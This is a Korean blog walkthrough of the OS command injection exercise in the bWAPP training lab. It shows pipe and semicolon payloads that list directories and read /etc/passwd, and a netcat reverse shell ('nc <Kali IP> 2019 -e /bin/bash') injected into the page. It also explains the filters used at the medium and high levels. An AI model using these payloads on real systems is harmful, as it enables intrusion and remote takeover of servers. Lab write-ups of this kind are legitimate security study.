OS Command Injection
시스템 명령어를 쿼리문에 주입하여 취약한 변수를 통해 서버 운영체제에 접근하는 공격, shell_exec, eval, system 함수를 사용하여 발생되는 취약점이다.
[출처 - 유노님의 블로그]
간단히 말해 웹페이지에 시스템 명령어를 주입하여 쉘을 획득하는 공격이다.
bWAPP에 들어가 OS Command Injection 문제를 선택한다.
선택하면
다음과 같은 페이지가 나온다.
다음 페이지는 nslookup 명령어를 사용하여 DNS 주소를 출력해주는 사이트이다.
이 페이지에 시스템 명령어를 사용하여 OS의 정보를 알아낼 수 있다.
텍스트 필드에 |(파이프) ls ../../../ 명령어를 입력하면
다음과 같이 디렉터리 구조를 알아낼 수 있다.
(※ | : | 왼쪽 명령어를 | 오른쪽 입력으로 연결 , ; : 여러 명령어를 한줄에서 실행, ;를 사용해도 된다.)
; cat /etc/passwd 명령어를 사용하면 리눅스 계정 정보도 알아낼 수 있다.
또한 netcat(nc) 명령어를 입력하여 외부와 연결해 해당 서버에 명령어를 입력할 수 있다.
칼리 리눅스에서 nc를 이용하여 해당 서버 정보를 알아내보자
칼리를 키고 터미널을 키자
그 후 nc -l -p 2019( -l = 리스닝 모드, -p = 포트번호(포트번호는 자유))
그 후 페이지에 들어가서 nc 본인 IP 포트번호 -e /bin/bash( -e [파일명] : 프로그램 연결후 파일 실행)
입력을 하면 깜빡깜빡 거린다.
이제 bWAPP 들어가서 다음과 같이 입력한다.
| nc 172.30.1.58 2019 -e "/bin/bash"
(172.30.1.58 = 칼리 IP주소, 2019 = 칼리에서 입력한 포트번호, -e "/bin/bash" = 원격 접속 하였을 때 실행할 디렉터리)
그럼 렉 걸린거 마냥 아무 변화도 일어나지 않지만 당황하지 마라(본인은 당황해서 몇번 다시해보고 친구한테 물어보고 했다.)
이제 kali로 돌아와서 명령어를 입력하면 명령어가 먹힌다.
이렇게 나오면 정상적으로 원격접속이 된 것이다. 맞다 OS command Injection 공격에 성공한 것이다.
난이도-(medium, high)
난이도 medium 단계에서는 일부 특수문자(&&, ;)를 통한 명령어 삽입은 적용되지 않고 '|' 문자를 이용한 명령어만 공격이 통한다. 난이도 high 단계에서는 그 마저도 안된다.
이유는 commandi.php 파일을 확인해보면 알 수 있다.
다음과 같이 commandi.php를 확인하면 case 1(medium)에서는 commandi_check_1이 적용되어 있고 case2(high)에서는 commandi_check_2 함수가 적용 되어 있다.
이 함수가 머냐면
commandi_check_1은 "&",";"를 ""로 대체하기 때문이고 commandi_check_2 함수는 escapeshellcmd 함수가 적용되어 있기때문이다.
escapeshellcmd = OS command injection처럼 명령어 입력 공격을 방지하기 위해 #,&.;,|,*,? 등 특수문자 앞에 백 슬러시를 추가해줌 |
'웹해킹 > bee-box' 카테고리의 다른 글
SQL Injection(GET/Select) (0) | 2019.08.01 |
---|---|
SSI Injection (2) | 2019.08.01 |
SQL Injection(Post/Search) (0) | 2019.07.30 |
SQL Injection(Get/Search) (0) | 2019.07.29 |
iframe Injection (2) | 2019.07.27 |